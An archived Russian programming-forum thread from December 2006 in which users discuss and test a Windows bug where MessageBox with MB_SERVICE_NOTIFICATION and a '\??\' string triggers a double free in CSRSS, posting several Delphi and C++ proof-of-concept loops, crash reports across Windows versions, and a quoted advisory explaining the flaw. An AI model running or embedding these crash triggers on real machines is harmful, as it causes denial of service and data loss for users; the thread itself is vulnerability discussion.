Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Прочее";
Текущий архив: 2007.01.14;
Скачать: [xml.tar.bz2];

Вниз

"Убийственный MessageBox от Мелкомягких"   Найти похожие ветки 

 
ferr ©   (2006-12-23 21:37) [0]

http://www.kuban.ru/forum_new/forum2/files/19124.html


 
antonn ©   (2006-12-23 21:54) [1]

ой, я позавчера два часа искал причину AV...
окахалось, что если в Listbox первая строка:="", то на Win2k получаем AV и ругаемся на nt.dll, а я думал на руки свои, и честно переписывал цикл за циклом, делал новые проекты и прочее...


 
Ученик чародея ©   (2006-12-23 22:11) [2]

Всего лишь очередная уязвимость для новых троянов/вирусов под Windows. Так как их сегодня уже более 200000, то одним больше, одним меньше...


 
Kolan ©   (2006-12-23 22:23) [3]

«Убийственный MessageBox от Мелкомягких»

Че-то у меня как всегда не получилось :)
10 раз появился MessageBox и все, ничего&#133


 
jack128 ©   (2006-12-23 23:34) [4]

Kolan ©   (23.12.06 22:23) [3]
OS, сервис паки и код в студию..


 
Чапаев ©   (2006-12-23 23:58) [5]

С первой попытки на строку \\?\\c:\\ система вылетела, в дальнейшем она же никак на этот код не реагировала. XP SP2 Rus.


 
Kolan ©   (2006-12-24 00:06) [6]

«OS»


XP SP2


«код»



procedure TForm3.BitBtn1Click(Sender: TObject);
var
 I: Integer;
 BugString: String;
begin
 BugString := "\\??\\C:\\";
 for I := 0 to 10 do
   MessageBox(0, PAnsiChar(BugString), PAnsiChar(BugString),
     MB_SERVICE_NOTIFICATION);
end;



«паки»

Непонял&#133


 
Kolan ©   (2006-12-24 00:07) [7]

«\\?\\c:\\»

Почему один вопросительный знак?


 
Eraser ©   (2006-12-24 00:15) [8]

imho, нужно убрать экранирующие слэши для делфи. хотя не проверял.


 
Gero ©   (2006-12-24 00:17) [9]

> [8] Eraser ©   (24.12.06 00:15)
> imho, нужно убрать экранирующие слэши для делфи. хотя не
> проверял.

А какая разница? Делфи-то пофиг.


 
Kerk ©   (2006-12-24 00:18) [10]

> [8] Eraser ©   (24.12.06 00:15)

+1


 
Kolan ©   (2006-12-24 00:19) [11]

А если винда на другом диске? Сейчас то у меня на «Ц», а вот раньше была на «Д». Тоже сработает?


 
Anatoly Podgoretsky ©   (2006-12-24 00:19) [12]

> Gero  (24.12.2006 0:17:09)  [9]

А вот СИ нет


 
jack128 ©   (2006-12-24 00:23) [13]

Kolan ©   (24.12.06 0:06) [6]
"\\??\\C:\\";


А.  Поторопился.  На rsdn обсуждали строку BugStr := "\??"!!!"


 
jack128 ©   (2006-12-24 00:25) [14]

E vtyz cbcntvf?
Kolan ©   (24.12.06 0:06) [6]
«паки»

не просто "паки" а "сервис паки" ;-) . У мя такая же ось, что и у тя,  BugStr := "\??"!!!"   - увела в ребут её на 4ой MessageBox"e ^-)


 
jack128 ©   (2006-12-24 00:27) [15]

Блин. По клавишам не поподаю.  Еще раз - строка - BugStr := "\??\!!!"
Или так: byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};


 
Gero ©   (2006-12-24 00:28) [16]

> [12] Anatoly Podgoretsky ©   (24.12.06 00:19)

Хм, действительно, нужно глубже смотреть.


 
Vovan #2   (2006-12-24 00:41) [17]

Не догоняю. Что написать надо? Пробовал:


var
I: Integer;
BugString: String;
begin
BugString := "\??\!!!";
for I := 0 to 10 do
  MessageBox(0, PAnsiChar(BugString), PAnsiChar(BugString),
    MB_SERVICE_NOTIFICATION);


Не вырубает.


 
Vovan #2   (2006-12-24 00:43) [18]

О, круть. На \\??\\C:\\ торкнуло без нажатия кнопочки.


 
DeadMeat ©   (2006-12-24 01:59) [19]

Хъыы...
На висте билд 6000 вот это "\??\!!!" кинуло в BSOD на первом же мессадж боксе. И на кнопку даже не нажал. Win32k.sys вроде был в сообщении.


 
Zeqfreed ©   (2006-12-24 02:13) [20]

Интересно, через wine будет работать? :) Лень проверять.


 
Старый Добрый Бахус   (2006-12-24 02:44) [21]

procedure TForm1.Button1Click(Sender: TObject);
const
 s = "\\??\\C:\\";
var
 I: Integer;
begin
 for I := 0 to 9 do
   MessageBox(0,s,s,MB_SERVICE_NOTIFICATION);
end;

SP2. Полет нормальный. Что я делаю неправильно?


 
Palladin ©   (2006-12-24 02:57) [22]


> [21] Старый Добрый Бахус  

Плохо читаешь ветку.

Gero уже раскаялся :)


 
atruhin ©   (2006-12-24 08:20) [23]

2003 server вылетел после 5 итерации


 
Loginov Dmitry ©   (2006-12-24 08:36) [24]

> Что я делаю неправильно?


Уже сказали ведь, что надо убрать экранирующие бэкслеши:

const
s = "\??\C:\";

[у меня МесиджБоксы показывали только квадратики, а на 4-м винда полностью зависла, и перезагрузилась. Жесть.]

Чую, что общий вид строки: "\??\XXX", где Х - любой символ.

И видимо, это не баг, а наоборот фича, которую прогеры Мелкософта специально предусмотрели :)))


 
Чапаев ©   (2006-12-24 10:55) [25]

> [8] Eraser ©   (24.12.06 00:15)
Я вообще сначала предположил, что нужно \\?\c:\, но на эту строку система не отреагировала.


 
iZEN ©   (2006-12-24 11:41) [26]

Не из-под админа система падает этожэсть!


 
VirEx ©   (2006-12-24 13:11) [27]

ничего не падает, WinXPSP2


 
Gero ©   (2006-12-24 13:18) [28]

> [26] iZEN ©   (24.12.06 11:41)

Какое нездоровое злорадствие.


 
Проходил тут   (2006-12-24 18:45) [29]

С первым багом Висту:

http://news.softodrom.ru/ap/b1572.shtml


 
ANTPro ©   (2006-12-24 18:50) [30]

> [27] VirEx ©   (24.12.06 13:11)

Еще как падает : )


 
Vendict ©   (2006-12-24 20:57) [31]

Loginov Dmitry ©   (24.12.06 8:36) [24]
[у меня МесиджБоксы показывали только квадратики, а на 4-м винда полностью зависла, и перезагрузилась. Жесть.]

первый пустой, с каждым следующим квадратиков больше, на 4м ребут. win2k проверял через VMWare, не хотелось кидать win2k3


 
Kolan ©   (2006-12-24 21:54) [32]

Хех, а уменя (я же тут поддержку иероглифоф установил) каждый раз не новом(имхо) азиатском языке иегорлифами писало, а потом тоже упало&#133


 
Kolan ©   (2006-12-24 21:59) [33]

«не новом»

на новом


 
isasa ©   (2006-12-24 22:24) [34]

Оригинал, по умолчанию в MSVS не пойдет(ошибка компиляции, надо возиться с установками проекта), т.к. XP все-таки юникодовая система и вызывается MessageBoxW
Вот так, в самый раз,

 _TCHAR bug [] = L"\\??\\C:\\";
 for(int i = 0; i < 10; i ++)
 {
  ::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
 }

но системе не падает, а после третьего окна "намертво"  виснет. Выход, по кнопке перезагрузки на сис. блоке.


 
BiN ©   (2006-12-24 22:26) [35]

Technical Details:

If the MB_SERVICE_NOTIFICATION flag is specified when calling the MessageBox function from the Windows API, it will use the NtRaiseHardError syscall to send a HardError message to CSRSS. This message contains the caption and text of a message box to be displayed by CSRSS on behalf of the caller. This functionality is designed to allow non-interactive services to notify the user of critical errors.

The HardError message is handled by the UserHardError function in WINSRV.DLL. It calls GetHardErrorText to read the message parameters from the address space of the sender. The GetHardErrorText function returns pointers to the caption and text of the message box. If the caption or text parameters start with the \??\ prefix, the function inexplicably frees the buffer and returns a pointer to freed memory. After the message box is closed by the user, the same buffer is freed again in the FreePhi function, resulting in a double free vulnerability.
Solution:

The GetHardErrorText function in WINSRV.DLL should not free the buffers with the text and caption parameters when they start with the \??\ prefix.

(c) http://www.mirrordot.com/stories/e55a8a5c43e4f6e1640d568324ecc13e/index.html


 
isasa ©   (2006-12-24 22:34) [36]

А вот в таком варианте, идет молчаливая перезагрузка(просте перезагрузка без синих экранов)

 _TCHAR bug [] = _T("\\??\\C:\\");
 for(int i = 0; i < 10; i ++)
 {
   ::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
 }


 
Kolan ©   (2006-12-24 22:40) [37]

У меня кстати комп не пререзагрузился, но и не синий экран. Просто черный экран. И светодиод на блоке горит&#133 :)


 
ferr ©   (2006-12-24 23:00) [38]

а я даже и не пробовал)


 
Loginov Dmitry ©   (2006-12-24 23:59) [39]

> BiN ©   (24.12.06 22:26)


Ну я же говорил... Фича это :)


 
Cardinal ©   (2006-12-25 00:40) [40]

Да баг жестокий :)
После четвертого бокса моментально ушел на перезагрузку пикнув динамиком


 
Ломброзо ©   (2006-12-25 00:44) [41]

Что характерно, желающих опробовать действенность грабель на собственной башке становится все больше.


 
Ученик чародея ©   (2006-12-25 00:53) [42]


> Ломброзо ©   (25.12.06 00:44) [41]
>
> Что характерно, желающих опробовать действенность грабель
> на собственной башке становится все больше.


Современный вариант глотания лампочки?


 
Axis_of_Evil ©   (2006-12-25 00:54) [43]

Ломброзо ©   (25.12.06 00:44) [41]
так ведь горит цветным пламенем.


 
Ломброзо ©   (2006-12-25 01:00) [44]

Ученик чародея ©   (25.12.06 00:53) [42]

Да. И я думаю, с вашим выдающимся интеллектом вы бы вполне смогли её проглотить.


 
Ученик чародея ©   (2006-12-25 01:02) [45]


> Ломброзо ©   (25.12.06 01:00) [44]


Эта проблема возникла по той же причине, по которой "в кране нет воды"...


 
Чапаев ©   (2006-12-25 09:27) [46]

> [41] Ломброзо ©   (25.12.06 00:44)
...с распространением эмуляторов.



Страницы: 1 2 вся ветка

Форум: "Прочее";
Текущий архив: 2007.01.14;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.56 MB
Время: 0.012 c
1-1164018415
Clipper Chip
2006-11-20 13:26
2007.01.14
Принтер виртуальный или физический?


3-1161765448
Flash_80
2006-10-25 12:37
2007.01.14
Из Query в Excel?


2-1166806144
AlexanderMS
2006-12-22 19:49
2007.01.14
Мусор в памяти после жизнедеятельности программы.


9-1134361287
megabyte-ceercop
2005-12-12 07:21
2007.01.14
Сетевая игра. BCB6


15-1166725252
alexsis
2006-12-21 21:20
2007.01.14
Чё за фигня с этими часами??





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский